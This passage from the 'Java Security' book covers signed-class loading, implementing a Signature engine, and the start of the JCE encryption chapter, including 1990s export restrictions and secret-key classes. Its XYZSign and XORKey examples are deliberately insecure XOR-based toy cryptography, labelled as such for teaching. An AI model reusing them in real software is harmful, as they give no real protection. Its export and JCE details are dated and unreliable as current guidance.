                            "JavaRuner ThreadGroup-" + groupNum++);
        return threadGroup;
    }

    String getHost() {
        return urlBase.getHost();
    }
}

Interestingly enough, all the details of the digital signature are handled for us by the classes in the jar package. All that we're left to do is obtain the array of signers when we read in each JAR entry and then use that array of signers when we construct the code source we use to define the class. Remember that each file in a JAR file may be signed by a different group of identities and that some may not be signed at all. This is why we must construct a new code source object for each signed class that was in the JAR file.

12.2.2. The Signed JAR File and Security Policies

The last item in our examination of signed JAR files involves the security policy and its interaction with the signed JAR file. In the case where the security policy is completely determined by the access controller, the class loader has already done all our work for us; the access controller depends on each class to have an appropriate code source, and permissions for that code will be completely defined in the policy file.

In Java 1.1, the mechanism is different; we can't use the JAR classes to parse a signed JAR file, and we can't use the defineClass() method to set the signers for a particular signed class. The first of these problems is harder to overcome; it requires that you implement the equivalent of the java.util.jar package. We've presented all the background information you'd need to do that, but it is a lot of code to write (so we won't). The second of these problems means that your class loader must define a class as follows:

Class Definition

if (isSecure(urlName)) {
    cl = defineClass(name, buf, 0, buf.length);
    if (ids != null)
        setSigners(cl, ids);
}
else cl = defineClass(name, buf, 0, buf.length);

The isSecure() method in this case must base its decision on information obtained from reading the manifest of the JAR file and verifying the signature that is contained in the signature file. The array of ids will need to be created by constructing instances of the Identity class to represent the signer of the class.

The reason for setting the signers in this way is to allow the security manager to retrieve those signatures easily. When the security manager does not defer all permissions to the access controller--and, hence, in all Java 1.1 programs--the security manager will need to take advantage of signed class information to base its decisions. This is typically done by programming the security manager to retrieve the keys that were used to sign a class via the getSigners() method. This allows the security manger to function with any standard signature-aware class loader. The security manager could then do something like this:

Class Definition

public void checkAccess(Thread t) {
    Class cl = currentLoadedClass();
    if (cl == null)
        return;
    Identity ids[] = (Identity[]) cl.getSigners();
    for (int i = 0; i < ids.length; i++) {
        if (isTrustedId(ids[i]))
            return;
    }
    throw new SecurityException("Can't modify thread states");
}

The key to this example is writing a good isTrustedId() method. A possible implementation is to use the information stored in the keystore (for 1.2) or identity database (for 1.1) to grant a level of trust to an entity; such an implementation requires that you have a non-default implementation of these databases. Alternately, your application could hardwire the public keys of certain entities (like the public key of the HR group of XYZ corporation) and use that information as the basis of its security decisions.

Previous | Home | Next
12.1. The Signature Class | Book Index | 12.3. Implementing a Signature Class
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Implementing a Signature Class (Java Security)

 Java Security Search this book

12.3. Implementing a Signature Class

Now that we've seen how to use the Signature class, we'll look at how to implement our own class. The techniques we'll see here should be very familiar from our other examples of implementing an engine in the security provider architecture. In particular, since in 1.2 the Signature class extends its own SPI, we can implement a single class that extends the Signature class.

To construct our subclass, we must use the following constructor:

protected Signature(String algorithm)

This is the only constructor of the Signature class, so all subclasses of this class must use this constructor. The string passed to the constructor is the name that will be registered with the security provider.

Once we've constructed our engine object, we must implement the following methods in it:

protected abstract void engineInitVerify(PublicKey pk)

Initialize the object to prepare it to verify a digital signature. If the public key does not support the correct algorithm or is otherwise corrupted, an InvalidKeyException is thrown.

protected abstract void engineInitSign(PrivateKey pk)

Initialize the object to prepare it to create a digital signature. If the private key does not support the correct algorithm or is otherwise corrupted, an InvalidKeyException is thrown.

protected abstract void engineUpdate(byte b)
protected abstract void engineUpdate(byte b[], int off, int len)

Add the given bytes to the data that is being accumulated for the signature. These methods are called by the update() methods; they typically call the update() method of a message digest held in the engine. If the engine has not been correctly initialized, a SignatureException is thrown.

protected abstract byte[] engineSign()
protected int engineSign(byte[] outbuf, int offset, int len) figure

Create the signature based on the accumulated data. If there is an error in generating the signature, a SignatureException is thrown.

protected abstract boolean engineVerify(byte b[])

Return an indication of whether or not the given signature matches the expected signature of the accumulated data. If there is an error in validating the signature, a SignatureException is thrown.

protected abstract void engineSetParameter(String p, Object o) figure
protected abstract void engineSetParameter(AlgorithmParameterSpec p) figure

Set the given parameters, which may be algorithm-specific. If this parameter does not apply to this algorithm, this method should throw an InvalidParameterException.

protected abstract Object engineGetParameter(String p) figure

Return the desired parameter, which is algorithm-specific. If the given parameter does not apply to this algorithm, this method should throw an InvalidParameterException.

In addition to those methods, there are a few protected instance variables that keep track of the state of the signature object--whether it has been initialized, whether it can be used to sign or to verify, and so on:

protected final static int UNINITIALIZED
protected final static int SIGN
protected final static int VERIFY
protected int state

These variables control the internal state of signature object. The state is initially UNITIALIZED; it is set to SIGN by the initSign() method and to VERIFY by the initVerify() method.

These variables are not normally used by the subclasses of Signature, since the logic to maintain them is already implemented in the Signature class itself.

Here is an implementation of a signature class. Note that the XYZSign class depends on other aspects of the security architecture--in this example, the message digest engine to create an SHA message digest, and the DSA key interfaces to handle the public and private keys. This is very typical of signature algorithms--even to the point where the default name of the algorithm reflects the underlying components. The actual encryption of the message digest will use a simple XOR-based algorithm (so that we can, as usual, avoid the mathematics involved with a secure example).

Class Definition

public class XYZSign extends Signature implements Cloneable {
    private DSAPublicKey pub;
    private DSAPrivateKey priv;
    private MessageDigest md;

    public XYZSign() throws NoSuchAlgorithmException {
        super("XYZSign");
        md = MessageDigest.getInstance("SHA");
    }

    public void engineInitVerify(PublicKey publicKey)
                                    throws InvalidKeyException {
        try {
            pub = (DSAPublicKey) publicKey;
        } catch (ClassCastException cce) {
            throw new InvalidKeyException("Wrong public key type");
        }
    }

    public void engineInitSign(PrivateKey privateKey)
                                    throws InvalidKeyException {
        try {
            priv = (DSAPrivateKey) privateKey;
        } catch (ClassCastException cce) {
            throw new InvalidKeyException("Wrong private key type");
        }
    }

    public void engineUpdate(byte b) throws SignatureException {
        try {
            md.update(b);
        } catch (NullPointerException npe) {
            throw new SignatureException("No SHA digest found");
        }
    }

    public void engineUpdate(byte b[], int offset, int length)
                                    throws SignatureException {
        try {
            md.update(b, offset, length);
        } catch (NullPointerException npe) {
            throw new SignatureException("No SHA digest found");
        }
    }

    public byte[] engineSign() throws SignatureException {
        byte b[] = null;
        try {
            b = md.digest();
        } catch (NullPointerException npe) {
            throw new SignatureException("No SHA digest found");
        }
        return crypt(b, priv);
    }

    public boolean engineVerify(byte[] sigBytes)
                                    throws SignatureException {
        byte b[] = null;
        try {
            b = md.digest();
        } catch (NullPointerException npe) {
            throw new SignatureException("No SHA digest found");
        }
        byte sig[] = crypt(sigBytes, pub);
        return MessageDigest.isEqual(sig, b);
    }

    public void engineSetParameter(String param, Object value) {
        throw new InvalidParameterException("No parameters");
    }

    public void engineSetParameter(AlgorithmParameterSpec aps) {
        throw new InvalidParameterException("No parameters");
    }

    public Object engineGetParameter(String param) {
        throw new InvalidParameterException("No parameters");
    }

    public void engineReset() {
    }

    private byte[] crypt(byte s[], DSAKey key) {
        DSAParams p = key.getParams();
        int rotValue = p.getP().intValue();
        byte d[] = rot(s, (byte) rotValue);
        return d;
    }

    private byte[] rot(byte in[], byte rotValue) {
        byte out[] = new byte[in.length];
        for (int i = 0; i < in.length; i++) {
            out[i] = (byte) (in[i] ^ rotValue);
        }
        return out;
    }
}

Like all implementations of engines in the security architecture, this class must have a constructor that takes no arguments, but it must call its superclass with its name. The constructor also is responsible for creating the instance of the underlying message digest using whatever algorithm this class feels is important. It is interesting to note that this requires the constructor to specify that it can throw a NoSuchAlgorithmException (in case the SHA algorithm can't be found).

The keys for this test algorithm are required to be DSA public and private keys. In general, the correspondence between an algorithm and the type of key it requires is very strong, so this is a typical usage. Hence, the two engine initialization methods cast the key to make sure that the key has the correct format. The engine initialization methods are not required to keep track of the state of the signature object--that is, whether the object has been initialized for signing or for verifying. That logic, since it is common to all signature objects, is present in the generic initialization methods of the Signature class itself.

The methods that update the engine can simply pass their data to the message digest, since the message digest is responsible for providing the fingerprint of the data that this object is going to sign or verify. Hence, the only interesting logic in this class is that employed by the signing and verification methods. Each method uses the message digest to create the digital fingerprint of the data. Then, to sign the data, the digest must be encrypted or otherwise operated upon with the previously defined private key--this produces a unique digest that could only have been produced by the given data and the given private key. Conversely, to verify the data, the digest must be decrypted or otherwise operated upon with the previously defined public key; the resulting digest can then be compared to the expected digest to test for verification.

Clearly, the security of this algorithm depends on a strong implementation of the signing operations. Our example here does not meet that definition--we're simply XORing every byte of the digest with a byte obtained from the parameters used to generate the keys. This XOR-encryption provides a good example, since it's both simple and symmetric; a real digital signature implementation is much more complex.

These engine signing and verification methods are also responsible for setting the internal state of the engine back to an initialization state, so that the same object can be used to sign or verify multiple signatures. In this case, no other work needs to be done for that; the message digest object itself is already reset once it creates its digest, and there is no other internal state inside the algorithm that needs to be reset. But if there were another state, it would need to be reset in those methods.

Previous | Home | Next
12.2. Signed Classes | Book Index | 12.4. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Java Security)

 Java Security Search this book

12.4. Summary

We've now completed our look at the basic engines that comprise the default security architecture on the Java platform. The digital signatures we've examined in this chapter form the pinnacle of that architecture, since they are the mechanism by which the parameters of the Java security sandbox can be extended: a digital signature gives the user the assurance that particular Java classes were provided by known entities. The user is then free to adopt a security policy for those classes based on the user's assessment of the trustworthiness of the entity that provided the classes.

The digital signature engine is interesting also because it requires the use of the other engines we've looked at in earlier chapters--the message digest engine to generate the fingerprint of the data that the digital signature will sign, and the key pair engine (and its related classes) to provide the necessary keys to feed into this engine. In sum, then, the engines provided with Java can really be thought of as having a single purpose: creating and verifying digital signatures. A digital signature thus becomes the basis of the advanced Java security model.

Important as digital signatures are, however, they do not complete what many people would expect from a security provider, in that the data communicated with a digital signature is itself not encrypted. This data is therefore vulnerable to being read by anyone. In the next chapter, we'll delve into an optional engine that can be loaded into the Java virtual machine--the engine to provide encryption of arbitrary streams of data. Although that engine cannot be used universally, it does provide (in those situations where it can be used) this last piece of security.

Previous | Home | Next
12.3. Implementing a Signature Class | Book Index | 13. Encryption
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Encryption (Java Security)

 Java Security Search this book

Chapter 13. Encryption

Contents:

Export Restrictions
The Sun Security Provider in the JCE
Key Types in the JCE
Secret Key Engines
Encrypting Data
Cipher Streams
Symmetric Key Agreement
Sealed Objects
Summary

In this chapter, we'll examine the Java Cryptography Extension, which provides (among other things) an engine to perform encryption of arbitrary data. This engine allows developers to send and receive encrypted streams of data over the network or through a filesystem (subject to some export restrictions we'll also discuss).

The encryption engine we'll discuss in this chapter does not come with the JDK. Information in this chapter is based on the early access 2 release for JDK 1.2[1] of the Java Cryptography Extension (JCE); because it is an early access release, the information is subject to change when JCE is officialy released (tentatively scheduled for mid-1998). The JCE introduces four new engine classes to the Java security architecture--one to perform encryption, and three that handle keys for encryption--and it comes with a new security provider to implement those classes. We'll discuss all of these features in this chapter.

[1]1.2 is now Java 2.

13.1. Export Restrictions

Use of the JCE is strictly limited by the export restrictions of the U.S. government. Sun Microsystems is headquartered in the United States, so the export of the JCE is controlled by the U.S. government. Because this implementation is capable of strong encryption, the only countries where it may be used are the United States and Canada.

There are ongoing legal challenges to this position as well as increasing negotiations with the U.S. government to change this policy; at the same time, there are increasing efforts to prohibit the use of this technology even within the United States. The official policy regarding export of encryption software has changed a few times over the past few years and is likely to change frequently in the next few years as various parties attempt to reach a coherent policy. Right now, the U.S. government will grant an exemption for certain types of companies to use encryption in their global business; what will happen in the future is anyone's guess.

In addition, the U.S. is not the only government that is hostile to the use of encryption, and encryption software can face import restrictions as well as export restrictions. In France, for example, it is illegal to import the JCE without a license. Other countries have regulations for cryptography, but in most cases they are less onerous than those of the United States. However, it is always wise to check your local policies to be sure (see Appendix C, "Security Resources" for resources to find more information about these limitations).

According to the letter of the restrictions, technical information regarding the JCE also cannot be exported except in the form of published books such as this one (because the book is protected by the first amendment to the U.S. Constitution). This has not prevented several companies and groups outside the United States from reimplementing the JCE encryption APIs, with the result that there are now several third-party security providers that include their own implementations of the JCE and are available outside the United States (the list of third-party security providers in Appendix C, "Security Resources" includes some of these implementations).

Many of the popular algorithms that are used by the encryption engine (and some of the other cryptographic engines that we've looked at) are patented algorithms, which also restricts their use. RSA Data Security, Inc., holds a patent in the U.S. on several algorithms involving RSA encryption and digital signatures; Ascom System AG in Switzerland holds both U.S. and European patents on the IDEA method of performing encryption. If you live in a country where these patents apply, you cannot use these underlying algorithms without paying a license to the patent holder. In particular, this means that many of the third-party security providers and third-party implementations of the JCE cannot be used within the United States because of patents held by RSA (although some of them have reached a licensing agreement with RSA Data Security, Inc.--again, it is best to check with the provider to see what restrictions might apply).

For at least the time being, then, Java programmers are faced with the following restrictions on use of the JCE:

  • The JCE must be procured separately from the JDK. The official JCE from Sun may only be procured by citizens of the United States and Canada, but third-party implementations of the JCE may be obtainable elsewhere.

  • Electronic documentation of the JCE is subject to the same restriction. In practice, the restriction about electronic documentation of encryption techniques--which applies to many things other than the JCE--is rarely enforced and widely violated.

  • Code that uses the APIs we are going to discuss in this chapter and that was developed inside the United States or Canada may not be distributed electronically outside the United States and Canada. Hence, if you are a resident of the United States or Canada, you cannot use these APIs to develop applets that you put on the Internet, or to develop applications that you send outside the United States and Canada.

    Since no browser currently implements the JCE, the impact of this restriction on browsers is somewhat muted. However, some third-party implementations of the JCE will be compatible with popular browsers; these third-party implementations could be downloaded and installed manually by the user, who could then use cryptography only in applets that were developed outside the United States and Canada or that are available only on private networks wholly within the United States and Canada.

    This restriction also means that, unlike the other examples in this book, the examples in this chapter may not be downloaded from the O'Reilly ftp site.

  • Questions about these APIs cannot be answered via email (although this is another rule that applies in general to encryption algorithms and is--again, at least presently--rarely enforced in the general case).

These APIs, then, will typically be used:

  • To develop applications for use on a private intranet that is located wholly within the United States and Canada. XYZ Corporation may want to use this technology for their payroll application; without this technology, although payroll data may only be retrieved upon a valid signed request, that data is still shipped over the network unencrypted, where an inside corporate spy could snoop the wire and obtain the data.

    With the APIs we'll discuss in this chapter, we could encrypt the payroll data as it is passed over the network. This completes the security protection that such an application really needs. We are assured that the payroll data is only being sent to an authorized user, and we are assured that no one can decode the data while it is in transit.

  • By developers outside the United States, who are effectively in a much better position to take advantage of them than are their U.S. counterparts. These developers, however, will be dependent upon third-party implementations of the JCE.

Encryption and Weaponry

The prohibitions we've been discussing here occur because strong encryption is considered by the U.S. government to be a munitions-grade weapon. While this position is often questioned, it comes from a long tradition in computer science.

During WWII, the Allies waged a successful and pivotal campaign in the Atlantic against the Axis navy. The success of this campaign was greatly due to the work of Alan Turing, who with his colleagues broke the German encryption algorithm known as Enigma. Turing was also one of the founding fathers of modern computer science, much of which was based on the work he developed in service to his country during the war.

Ironically, the reward that Turing reaped for his efforts was that some years after the war, he was arrested and forced to undergo harmful chemical treatments because he was gay. There's an odd parallel here: many of the harsh restrictions that are presently placed on encryption technology make no more sense in a world with a global Internet than did England's persecution of Alan Turing in the 1950s. But the links between encryption and military security run deep and are not likely to be broken anytime soon.

You'll notice that this is the only part of this book where we've discussed export restrictions. Somewhat surprisingly, that is because this is the only instance in which the export restrictions of the U.S. government apply. Encryption of arbitrary data is considered a weapons-grade munition, but message digests and digital signatures are not. Hence, the APIs that allow us to calculate a message digest and a digital signature are freely exportable, but the APIs that allow us to encrypt and decrypt data are not.

Note also that the restriction here is not only on the algorithms that perform encryption, but on the APIs themselves. Like other engines we've examined, the encryption engine allows us to plug in any arbitrary algorithm to perform the encryption. This includes a weak encryption algorithm (that is, one that can be broken) that by itself would be exportable. But since the API allows a strong encryption algorithm to be used as well, the export restrictions apply to the API itself, even if the strong encryption implementation is not provided. Hence, the JCE may not be exported in its present form.

Previous | Home | Next
12.4. Summary | Book Index | 13.2. The Sun Security Provider in the JCE
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Sun Security Provider in the JCE (Java Security)

 Java Security Search this book

13.2. The Sun Security Provider in the JCE

The JCE follows the same security provider infrastructure as does the rest of the Java security architecture; the JCE comes with an additional security provider that includes implementations of the engines of the JCE. In normal use, this security provider supplements the default security provider of the JDK; the security provider within the JCE contains implementations only of the engines of the JCE. Hence, to use the Sun JCE security provider, you need to add the SunJCE class (com.sun.crypto.provider.SunJCE) to your java.security file like this:

Class Definition

security.provider.2=com.sun.crypto.provider.SunJCE

Alternately, you may use the addProvider() or insertProviderAt() methods of the Security class. You may, of course, insert this provider at any position in the list of providers.

There are five new engine classes in the JCE: the Cipher, KeyAgreement, KeyGenerator, Mac, and SecretKeyFactory engines. Table 13-1 lists the engines and algorithms that are provided by the SunJCE security provider. In addition to implementations of the new engines, the SunJCE security provider gives us a key factory and a key pair generator for Diffie-Hellman (DH) keys as well as a new engine for working with keystores. As always, there may be additional algorithm names in third-party security providers. Also note that the algorithm name for the cipher engine may be more complex than we've shown here.

Table 13-1. Engine Classes of the JCE

Engine Name

Algorithm

Class Definition

Cipher

Class Definition

DES

Class Definition

Cipher

Class Definition

DESede

Class Definition

Cipher

Class Definition

PBEWithMD5AndDES

Class Definition

KeyAgreement

Class Definition

DH

Class Definition

KeyFactory

Class Definition

DH

Class Definition

KeyGenerator

Class Definition

DES

Class Definition

KeyGenerator

Class Definition

DESede

Class Definition

KeyPairGenerator

Class Definition

DH

Class Definition

SecretKeyFactory

Class Definition

DES

Class Definition

SecretKeyFactory

Class Definition

DESede

Class Definition

SecretKeyFactory

Class Definition

PBE

Class Definition

Mac

Class Definition

HmacSHA1

Class Definition

Mac

Class Definition

HmacMD5

Class Definition

KeyStore

Class Definition

JCEKS

Previous | Home | Next
13.1. Export Restrictions | Book Index | 13.3. Key Types in the JCE
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Key Types in the JCE (Java Security)

 Java Security Search this book

13.3. Key Types in the JCE

The JCE introduces many new types of keys. Some of these are new types of public and private keys that extend our previous exploration of keys, and some of these are a new type of key: a secret key.

The new public and private key types are defined in the javax.crypto.interfaces package of the JCE as new interfaces:

public interface DHKey
public interface DHPrivateKey extends DHKey, PrivateKey
public interface DHPublicKey extends DHKey, PublicKe y

This set of interfaces defines keys suitable for use in Diffie-Hellman algorithms. In the SunJCE provider, they are used for the key agreement engine.

Like their DSA-based counterparts (the DSAKey, DSAPublicKey, and DSAPrivateKey classes), these interfaces all have specific methods to retrieve the values of certain parameters of the key. Since they are all keys, they support a byte-encoded format as well. For our purposes, however, we'll treat their data as opaque objects. The Diffie-Hellman keys are used in the key agreement protocol we discuss later in this chapter.

13.3.1. Secret Keys

The new type of key in the JCE is a secret key. A secret key is a key that is shared between two parties in a cryptographic operation.

Until now, we've used public key/private key pairs for all our operations. For instance, the digital signature algorithms we explored in Chapter 12, "Digital Signatures" all depended on public key cryptography to alter the message digest of the data they signed. These algorithms chose to use public key encryption because it simplified the way in which keys were exchanged, as well as reducing the number of keys that needed to be exchanged between parties. It is possible to use public and private key pairs to perform encryption of data using the APIs in this chapter; because two different keys are involved, this type of encryption is called asymmetric encryption.

Cryptographic algorithms can also implement symmetric operations, in which case only a single key is necessary. In symmetric encryption, the same key that was originally used to encrypt the data can also be used to decrypt the data. Hence, for these encryption algorithms, only a single key is necessary. This single key is also called a secret key, since the key itself must be kept secret by the parties who are exchanging the encrypted data. Anyone who has access to the key and to the encrypted data also has access to the data.

The key used by the encryption engine--whether it is used by a symmetric or an asymmetric encryption algorithm--is still an instance of the class java.security.Key. Just as there were interfaces that identified types of keys as public (PublicKey) or private (PrivateKey), there is a new SecretKey interface (javax.crypto.SecretKey) that is used by symmetric keys.

public interface SecretKey extends Key

Identify a class as being a symmetric key. Like other extensions of the Key interface, this interface has no methods and is used strictly for type identification.

As usual, there are no classes in the javax package that implement this interface, though some are provided in the sun package. A simple implementation of this interface must include the usual methods that are in the Key interface:

Class Definition

public class XORKey implements SecretKey {
    byte value;

    public XORKey(byte b) {
        value = b;
    }

    public String getAlgorithm() {
        return "XOR";
    }

    public String getFormat() {
        return "XOR Special Format";
    }

    public byte[] getEncoded() {
        byte b[] = new byte[1];
        b[0] = value;
        return b;
    }
}

Unlike public and private keys, secret keys are not associated with identities and are not integrated into a key management system. Secret keys must therefore be managed with different techniques, which we'll examine at the end of this chapter.

Previous | Home | Next
13.2. The Sun Security Provider in the JCE | Book Index | 13.4. Secret Key Engines
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Secret Key Engines (Java Security)

 Java Security Search this book

13.4. Secret Key Engines

In the JCE, there are new ways to generate keys. Since the existing key engines only operate on public and private keys, the JCE introduces two new engines that can operate on secret keys. Note also in Table 13-1 that the SunJCE security provider implements a new algorithm to generate key pairs for Diffie-Hellman key agreement; that algorithm uses the standard KeyPairGenerator class we explored in Chapter 10, "Keys and Certificates".

13.4.1. The KeyGenerator Class

The first engine we'll look at is the KeyGenerator class (javax.crypto.Key-Generator); this class is used to generate secret keys. This class is very similar to the KeyPairGenerator class except that it generates instances of secret keys instead of pairs of public and private keys:

public class KeyGenerator

Generate instances of secret keys for use by a symmetric encryption algorithm.

The KeyGenerator class is an engine within the JCE. As such, it has all the hallmarks of a cryptographic engine. It has a complementary SPI and a set of public methods that are used to operate upon it, and its implementation must be registered with the security provider.

13.4.1.1. Using the KeyGenerator class

Like other engine classes, the KeyGenerator class does not have any public constructors. An instance of a KeyGenerator is obtained by calling one of these methods:

public static final KeyGenerator getInstance(String algorithm)
public static final KeyGenerator getInstance(String algorithm, String provider)

Return an object capable of generating secret keys that correspond to the given algorithm. These methods use the standard rules of searching the list of security providers in order to find an object that implements the desired algorithm. If the generator for the appropriate algorithm cannot be found, a NoSuchAlgorithmException is thrown; if the named provider cannot be found, a NoSuchProviderException is thrown.

Once an object has been obtained with these methods, the generator must be initialized by calling one of these methods:

public final void init(SecureRandom sr)
public final void init(AlgorithmParameterSpec aps)
public final void init(AlgorithmParameterSpec aps, SecureRandom sr)
public final void init(int strength)
public final void init(int strength, SecureRandom sr)

Initialize the key generator. Like a key pair generator, the key generator needs a source of random numbers to generate its keys (in the second method, a default instance of the SecureRandom class will be used). In addition, some key generators can accept an algorithm parameter specification to initialize their keys (just as the key pair generator); however, for the DES-style keys generated by the SunJCE security provider, no algorithm parameter specification may be used.

A key generator does not have to be initialized explicitly, in which case it is initialized internally with a default instance of the SecureRandom class. However, it is up to the implementor of the engine class to make sure that this happens correctly; it is better to be sure your code will work by always initializing your key generator.

A secret key can be generated by calling this method:

public final SecretKey generateKey()

Generate a secret key. A generator can produce multiple keys by repeatedly calling this method.

There are two additional methods in this class, both of which are informational:

public final String getAlgorithm()

Return the string representing the name of the algorithm this generator supports.

public final Provider getProvider()

Return the provider that was used to obtain this key generator.

In the next section, we'll show the very simple code needed to use this class to generate a secret key.

13.4.1.2. Implementing a KeyGenerator class

Implementing a key generator requires implementing its corresponding SPI. Like all engines that are not available in Java 1.1, the SPI for the KeyGenerator class is unrelated in the class hierarchy to the KeyGenerator class itself, and the class that we register with the security provider must extend the KeyGeneratorSpi class (javax.crypto.KeyGeneratorSpi):

public abstract class KeyGeneratorSpi

This class forms the service provider interface class for the KeyGenerator class.

There are three protected methods of this class that we must implement if we want to provide an SPI for a key generator:

protected abstract SecretKey engineGenerateKey()

Generate the secret key. This method should use the installed random number generator and (if applicable) the installed algorithm parameter specification to generate the secret key. If the engine has not been initialized, it is expected that this method will initialize the engine with a default instance of the SecureRandom class.

protected abstract void engineInit(SecureRandom sr)
protected abstract void engineInit(AlgorithmParameterSpec aps, SecureRandom sr)
public final void engineInit(int strength, SecureRandom sr)

Initialize the key generation engine with the given random number generator and, if applicable, algorithm parameter specification. If the class does not support initialization via an algorithm parameter specification, or if the specification is invalid, an InvalidAlgorithmParameterException should be thrown.

Hence, a complete implementation might look like this:

Class Definition

public class XORKeyGenerator extends KeyGeneratorSpi {
    SecureRandom sr;

    public void engineInit(SecureRandom sr) {
        this.sr = sr;
    }

    public void engineInit(AlgorithmParameterSpec ap, SecureRandom sr)
                         throws InvalidAlgorithmParameterException {
        throw new InvalidAlgorithmParameterException(
            "No parameters supported in this class");
    }

    public SecretKey engineGenerateKey() {
        if (sr == null)
            sr = new SecureRandom();

        byte b[] = new byte[1];
        sr.nextBytes(b);
        return new XORKey(b[0]);
    }
}

Keys, of course, are usually longer than a single byte. However, unlike a public key/private key pair, there is not necessarily a mathematical requirement for generating a symmetric key. Such a requirement depends on the encryption algorithm the key will be used for, and some symmetric encryption algorithms require a key that is just an arbitrary sequence of bytes.

13.4.2. The SecretKeyFactory Class

The second engine that we'll look at is the SecretKeyFactory class (javax.crypto.SecretKeyFactory). Like the KeyFactory class, this class can convert from algorithmic or encoded key specifications to actual key objects and can translate key objects from one implementation to another. Unlike the KeyFactory class, which can only operate on public and private keys, the SecretKeyFactory class can operate only on secret keys:

public class SecretKeyFactory

Provide an engine that can translate between secret key specifications and secret key objects (and vice versa). This allows for secret keys to be imported and exported in a neutral format.

The interface to the SecretKeyFactory class is exactly the same at a conceptual level as the interface to the KeyFactory. At a programming level, this means that while most of the methods between the two classes have the same name and perform the same operation, they may require slightly different parameters: a secret key, rather than a public or private key. In addition, instead of methods to generate public or private keys, the SecretKeyFactory class contains this method:

public final SecretKey generateSecret(KeySpec ks)

Generate the secret key according to the given specification. If the specification is invalid, an InvalidKeySpecException is thrown.

Because of its similarity to the KeyFactory class, we won't show an example of how to use it; you may use examples from Chapter 10, "Keys and Certificates" and simply substitute this new method.

13.4.2.1. Secret key specifications

The specifications used to import and export secret keys depend on the underlying algorithm that generated the secret key. As a result, the JCE provides twelve new key specifications that deal with the new keys the JCE provides:

public class DESKeySpec implements KeySpec

This class provides the encoded and algorithmic parameter specifications for DES keys.

public class DESedeKeySpec implements KeySpec

This class provides the encoded specification for DESede keys.

public class DHGenParameterSpec implements AlgorithmParameterSpec
public class DHParameterSpec implements AlgorithmParameterSpec

These classes implement algorithm specifications forDiffie-Hellman keys.

public class DHPrivateKeySpec implements KeySpec
public class DHPublicKeySpec implements KeySpe c

These classes implement the encoded key specifications for Diffie-Hellman keys.

public class PBEKeySpec implements KeySpec
public class PBEParameterSpec implements AlgorithmParameterSpec

These classes implement the encoded and algorithm key specifications for the password-based cipher algorithm (the PKCS#5 standard).

public class IvParameterSpec implements AlgorithmParameterSpec

This class implements an initialization vector. Initialization vectors are used in many algorithms; notably in DES.

public class RC2ParameterSpec implements AlgorithmParameterSpec
public class RC5ParameterSpec implements AlgorithmParameterSpec

These classes implement the algorithm parameter specifications for RC2 and RC5 encryption.

public class SecretKeySpec implements KeySpec

This class implements a key specification for the new class of secret keys.

We typically treat the values contained in these specifications as opaque values. Table 13-2 lists the methods for each class needed to import and export each of these key specifications. As usual for key specifications, exporting a specification involves transmitting the individual data elements of the class, while importing a specification involves constructing the specification with the correct values.

Table 13-2. Importing and Exporting Values from the Key Specification Classes

Key Specifications

Methods to Export Data

Methods to Import Data

Class Definition

DESKeySpec

Class Definition

byte[] getKey()

Class Definition

DESKeySpec(byte[] buf)
DESKeySpec(
        byte[] buf, int offset)

Class Definition

IvParameterSpec

Class Definition

byte[] getIV()

Class Definition

IvParameterSpec(
       byte[] buf)
IvParameterSpec(
       byte[] buf, int offset)

Class Definition

DESedeKeySpec

Class Definition

byte[] getKey()

Class Definition

DESedeKeySpec(byte[] buf)
DESedeKeySpec(
       byte[] buf, int offset)

Class Definition

DHGenParameterSpec

Class Definition

int getPrimeSize()
int getExponentSize()

Class Definition

DHGenParameterSpec(
      int primeSize,
      int exponentSize)

Class Definition

DHParameterSpec

Class Definition

BigInteger getP()
BigInteger getG()
int getL()

Class Definition

DHParameterSpec(
    BigInteger g)
DHParameterKeySpec(
    BigInteger g,
    int l)

Class Definition

DHPrivateKeySpec

Class Definition

BigInteger getX()
BigInteger getP()
BigInteger getG()
int getL()

Class Definition

DHPrivateKeySpec(
    BigInteger p,
    BigInteger g)
DHPrivateKeySpec(
    BigInteger p,
    BigInteger g, int l)

Class Definition

DHPublicKeySpec

Class Definition

BigInteger getY()
BigInteger getP()
BigInteger getG()
int getL()

Class Definition

DHPublicKeySpec(
    BigInteger p,
    BigInteger g)
DHPublicKeySpec(
    BigInteger p,
    BigInteger g, int l)

Class Definition

PBEKeySpec

Class Definition

String getPassword()

Class Definition

PBEKeySpec(String pw)

Class Definition

PBEParameterSpec

Class Definition

int getIterationCount()
byte[] getSalt()

Class Definition

PBEParameterSpec(
    byte[] salt, int count)

Class Definition

RC2ParameterSpec

Class Definition

byte[] getIV()
int getEffectiveKeyBits()

Class Definition

RC2ParameterSpec(int effective)
RC2ParameterSpec(int effective, byte[] iv)
RC2ParameterSpec(int effective, byte[] iv, int offset)

Class Definition

RC5ParameterSpec

Class Definition

byte[] getIV()
int getRounds()
int getVersion()
int getWordSize()

Class Definition

RC5ParameterSpec(int version, int rounds, int wordSize)
RC5ParameterSpec(int version, int rounds, int wordSize, byte[] iv)
RC5ParameterSpec(int version, int rounds, int wordSize, byte[] iv, int offset)

Class Definition

SecretKeySpec

Class Definition

byte[] getEncoded()

Class Definition

SecretKeySpec(byte[] key, String Algorithm)
SecretKeySpec(byte[] key, int offset, String Algorithm)

13.4.2.2. The secret key factory SPI

Like all engines, the secret key engine is implemented via an SPI; if you want to implement your own secret key factory you must extend the SecretKeyFactorySpi class (javax.crypto.SecretKeyFactorySpi):

public abstract class SecretKeyFactorySpi

This class is the SPI for the SecretKeyFactory class. As this class is only available as an extension to 1.2, the SPI is unrelated to the engine class; providers must extend this class directly to provide a secret key factory.

Implementation of this class follows the implementation of a key factory SPI, except that the methods of this class must operate upon secret keys rather than public or private keys. If you want to implement a secret key factory SPI, you can use the sample key factory SPI as a model.

Previous | Home | Next
13.3. Key Types in the JCE | Book Index | 13.5. Encrypting Data
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Encrypting Data (Java Security)

 Java Security Search this book

13.5. Encrypting Data

In this section, we'll look at the engine that performs encryption within the JCE. This engine is called the Cipher class (javax.crypto.Cipher); it provides an interface to encrypt and decrypt data either in arrays within the program or as that data is read or written through Java's stream interfaces:

public class Cipher implements Cloneable

